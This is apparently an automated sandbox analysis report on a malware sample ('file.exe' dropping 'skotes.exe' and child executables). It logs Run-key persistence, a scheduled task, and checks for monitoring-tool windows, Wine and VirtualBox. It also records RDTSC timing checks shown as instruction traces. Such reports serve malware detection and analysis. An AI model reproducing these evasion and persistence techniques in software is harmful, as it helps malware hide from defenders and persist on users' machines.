Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f570600774.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 536e42fc8b.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 176986cc9c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3981530833.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 176986cc9c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 176986cc9c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f570600774.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f570600774.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3981530833.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3981530833.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 536e42fc8b.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 536e42fc8b.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_2-9724

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111648E second address: 11164A5 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F020CB28452h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11164A5 second address: 11164AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11164AB second address: 11164B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D4DC second address: 112D4E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D7F7 second address: 112D7FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D7FE second address: 112D809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D809 second address: 112D80D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11314BC second address: 11314C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11314C0 second address: 11314E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a jnc 00007F020CB28449h 0x00000010 or cl, FFFFFFF5h 0x00000013 push 00000000h 0x00000015 movzx esi, si 0x00000018 call 00007F020CB28449h 0x0000001d push eax 0x0000001e push edx 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 pop edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11314E7 second address: 11314FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F020CB267E6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 jg 00007F020CB267E6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11314FF second address: 113154A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28453h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jns 00007F020CB2844Eh 0x00000014 jbe 00007F020CB28448h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c mov eax, dword ptr [eax] 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 jmp 00007F020CB28459h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113154A second address: 1131561 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F020CB267F3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1131683 second address: 1131687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1131687 second address: 113168B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113168B second address: 1131691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1131691 second address: 1131696 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1131696 second address: 11316BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push edi 0x0000000d jmp 00007F020CB28456h 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11316BE second address: 1131731 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F020CB267F6h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 jng 00007F020CB267EAh 0x00000018 pop eax 0x00000019 js 00007F020CB267E8h 0x0000001f push 00000003h 0x00000021 mov esi, dword ptr [ebp+122D39A9h] 0x00000027 push 00000000h 0x00000029 push ebx 0x0000002a jg 00007F020CB267ECh 0x00000030 mov edx, dword ptr [ebp+122D36A1h] 0x00000036 pop ecx 0x00000037 push 00000003h 0x00000039 mov dword ptr [ebp+122D2CE8h], edi 0x0000003f push C1AE6900h 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007F020CB267F6h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1131731 second address: 113176F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB2844Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 01AE6900h 0x00000010 mov dword ptr [ebp+122D2E93h], eax 0x00000016 mov dword ptr [ebp+122D1E09h], ebx 0x0000001c lea ebx, dword ptr [ebp+124563CDh] 0x00000022 jl 00007F020CB28450h 0x00000028 push eax 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c push edx 0x0000002d pop edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113176F second address: 1131773 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1131831 second address: 1131837 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1131837 second address: 113183B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151683 second address: 11516A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F020CB28446h 0x0000000a jmp 00007F020CB28457h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11199BC second address: 11199D8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F020CB267E6h 0x00000008 jmp 00007F020CB267F2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F36E second address: 114F376 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F776 second address: 114F7CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F020CB267F4h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jne 00007F020CB26814h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F7CC second address: 114F7D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F7D2 second address: 114F7F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F020CB267F0h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jo 00007F020CB267E6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114FDBF second address: 114FDC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114FDC4 second address: 114FDC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
